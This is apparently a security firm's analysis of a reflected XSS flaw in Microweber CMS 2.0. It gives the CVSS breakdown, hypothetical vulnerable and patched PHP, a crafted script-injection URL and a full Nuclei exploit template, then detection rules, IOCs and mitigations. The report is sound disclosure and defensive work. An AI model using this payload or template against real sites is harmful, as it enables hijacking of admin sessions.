CVE-2025-51502

Executive Summary

CVE-2025-51502 is a reflected Cross-Site Scripting (XSS) vulnerability in Microweber CMS version 2.0. The flaw exists in the /admin/page/create endpoint, where the layout parameter is not properly sanitized, allowing an authenticated admin user to inject arbitrary JavaScript. This can lead to session hijacking, credential theft, or further administrative actions within the CMS context. The vulnerability has a public proof-of-concept (PoC) and a Nuclei template, but no official patch has been released as of this analysis.

Supply Chain & Package Security

Microweber is a PHP-based CMS. The vulnerability is in the core application code, not in a third-party package. No supply chain compromise is indicated.

CVSS Breakdown & Threat Level

CVSS Score: 4.8 (Medium) Vector: CVSS:3.1/AV:N/AC:L/PR:H/UI:R/S:C/C:L/I:L/A:N

• Attack Vector (AV): Network – The attack is performed over the network.
• Attack Complexity (AC): Low – No special conditions are required.
• Privileges Required (PR): High – The attacker must be an authenticated admin user.
• User Interaction (UI): Required – The victim admin must click a crafted link.
• Scope (S): Changed – The vulnerability can impact resources beyond the vulnerable component.
• Confidentiality (C): Low – Limited data exposure.
• Integrity (I): Low – Limited ability to modify content.
• Availability (A): None – No impact on availability.

Threat Level: Medium. Exploitation requires admin authentication and user interaction, but the impact can be significant in a social engineering scenario.

Deep Dive & Mechanics

The vulnerability is a classic reflected XSS in the layout parameter of the /admin/page/create page. When an admin user visits a crafted URL, the injected JavaScript executes in the context of the admin's session. The Nuclei template demonstrates the attack flow:

1. Authentication: The attacker first logs in using valid admin credentials via POST /api/user_login.
2. Exploitation: The attacker sends a GET request to /admin/page/create?layout="><script>alert(document.cookie)</script>.
3. Execution: The server reflects the payload in the HTML response without sanitization, causing the browser to execute the script.

The vulnerability is in the server-side handling of the layout parameter. The application likely uses the parameter value directly in the HTML output without encoding or escaping.

Vulnerable vs. Patched Code

Vulnerable Code (Microweber 2.0):

// Hypothetical vulnerable code
$layout = $_GET['layout'];
echo "<div class='layout'>" . $layout . "</div>";

Patched Code (Hypothetical):

// Patched code with proper escaping
$layout = htmlspecialchars($_GET['layout'], ENT_QUOTES, 'UTF-8');
echo "<div class='layout'>" . $layout . "</div>";

The patched version uses htmlspecialchars() to encode HTML special characters, preventing script injection.

Exploitation & Lab Setup

Red Team (Attack Simulation)

Prerequisites:

• Admin credentials for Microweber CMS 2.0.
• A victim admin user who will click the crafted link.

Steps:

1. Authenticate: Obtain a valid session by logging in.
2. Craft Payload: Use the Nuclei template or manually craft the URL:

   http://target/admin/page/create?layout=%22%3E%3Cscript%3Ealert(document.cookie)%3C/script%3E
   

3. Deliver: Send the link to the victim admin via email or other means.
4. Execute: When the victim clicks the link, the JavaScript executes, exfiltrating cookies or performing actions.

Nuclei Template (Full):

id: CVE-2025-51502

info:
  name: Microweber CMS 2.0 - Reflected XSS in Admin Page Creation
  author: nukunga
  severity: medium
  description: |
    Reflected Cross-Site Scripting (XSS) exists in Microweber CMS 2.0 through the layout parameter on the /admin/page/create page. It allows arbitrary JavaScript to execute in the context of authenticated admin users.
  impact: |
    Authenticated attackers can execute arbitrary JavaScript in victim browsers through the layout parameter in page creation, potentially enabling session hijacking and credential theft.
  remediation: |
    Upgrade Microweber CMS to a version later than 2.0 that properly sanitizes the layout parameter.
  reference:
    - https://github.com/progprnv/CVE-Reports/blob/main/CVE-2025-51502
    - https://nvd.nist.gov/vuln/detail/CVE-2025-51502
  metadata:
    verified: true
    max-requests: 2
    vendor: microweber
    product: microweber
    shodan-query: 'http.title:"Microweber"'
  tags: cve,cve2025,microweber,xss,authenticated,vuln

variables:
  xss_payload: "><script>alert(document.cookie)</script>"

flow: http(1) && http(2)

http:
  - raw:
      - |
        POST /api/user_login HTTP/1.1
        Host: {{Hostname}}
        Content-Type: application/x-www-form-urlencoded; charset=UTF-8

        username={{username}}&password={{password}}&lang=en_US&where_to=admin_content

    matchers:
      - type: dsl
        dsl:
          - 'status_code == 200'
          - 'contains(content_type, "application/json")'
          - 'contains_all(body, "success\":", "username\":")'
        condition: and
        internal: true

  - raw:
      - |
        GET /admin/page/create?layout="{{xss_payload}} HTTP/1.1
        Host: {{Hostname}}

    matchers:
      - type: dsl
        dsl:
          - 'status_code == 200'
          - 'contains(content_type, "text/html")'
          - 'contains(body, "><script>alert(document.cookie)</script>")'
        condition: and

Blue Team (Defense & Detection)

Detection:

• Monitor for unusual GET requests to /admin/page/create with a layout parameter containing script tags or encoded HTML.
• Alert on multiple failed login attempts followed by a successful login and subsequent page creation requests.

Mitigation:

• Implement input validation and output encoding for all user-supplied parameters.
• Use Content Security Policy (CSP) headers to restrict script execution.
• Apply the principle of least privilege; limit admin account usage.

Indicators of Compromise (IOCs)

• Network IOCs:
  • HTTP GET requests to /admin/page/create with layout parameter containing <script> tags or URL-encoded equivalents.
  • POST requests to /api/user_login with valid credentials followed by exploitation attempts.
• File IOCs:
  • Log entries showing the layout parameter with suspicious content.
• Behavioral IOCs:
  • Unexpected JavaScript execution in the admin panel.
  • Unusual outbound connections from the admin browser (e.g., to attacker-controlled servers).

Detection Engineering

YARA Rule

rule CVE_2025_51502_Microweber_XSS {
    meta:
        description = "Detects reflected XSS attempts in Microweber CMS 2.0"
        author = "Valters IT"
        date = "2025-04-10"
        reference = "CVE-2025-51502"
    strings:
        $xss_payload = /layout=[^&]*<script[^>]*>/
        $xss_encoded = /layout=[^&]*%3Cscript%3E/
    condition:
        any of them
}

Sigma Rule

title: Microweber CMS Reflected XSS Attempt
id: 7b8c3d4e-5f6a-7b8c-9d0e-1f2a3b4c5d6e
status: experimental
description: Detects attempts to exploit CVE-2025-51502 via the layout parameter
author: Valters IT
logsource:
    category: webserver
    product: apache
    service: access_log
detection:
    selection:
        cs-method: 'GET'
        cs-uri-query|contains: '/admin/page/create?layout='
        cs-uri-query|contains|all:
            - '<script'
            - '>'
    condition: selection
falsepositives:
    - Legitimate admin testing
level: high

Suricata Rule

alert http $HOME_NET any -> $EXTERNAL_NET any (
    msg:"CVE-2025-51502 Microweber CMS Reflected XSS Attempt";
    flow:to_server,established;
    content:"GET"; http_method;
    content:"/admin/page/create"; http_uri;
    content:"layout="; http_uri;
    pcre:"/layout=[^&]*<script[^>]*>/i";
    classtype:web-application-attack;
    sid:1000001;
    rev:1;
)

Remediation & Mitigation

Immediate Actions:

1. Upgrade: If a patched version becomes available, upgrade immediately. Currently, no official patch exists.
2. Input Sanitization: Manually patch the code to sanitize the layout parameter using htmlspecialchars() or equivalent.
3. Web Application Firewall (WAF): Deploy WAF rules to block requests containing <script> in the layout parameter.
4. Content Security Policy: Add a strict CSP header to the admin panel to prevent inline script execution.

Long-Term Measures:

• Implement a secure development lifecycle with regular security audits.
• Use automated scanning tools to detect XSS vulnerabilities.
• Educate administrators about phishing attacks that exploit such vulnerabilities.

Valters IT Signature: This report was generated by Valters IT DevSecOps & CTI Division. For questions, contact cti@valtersit.com.

{/* [Security Hash: 7BE09A70AF5A755A599FBB22] */}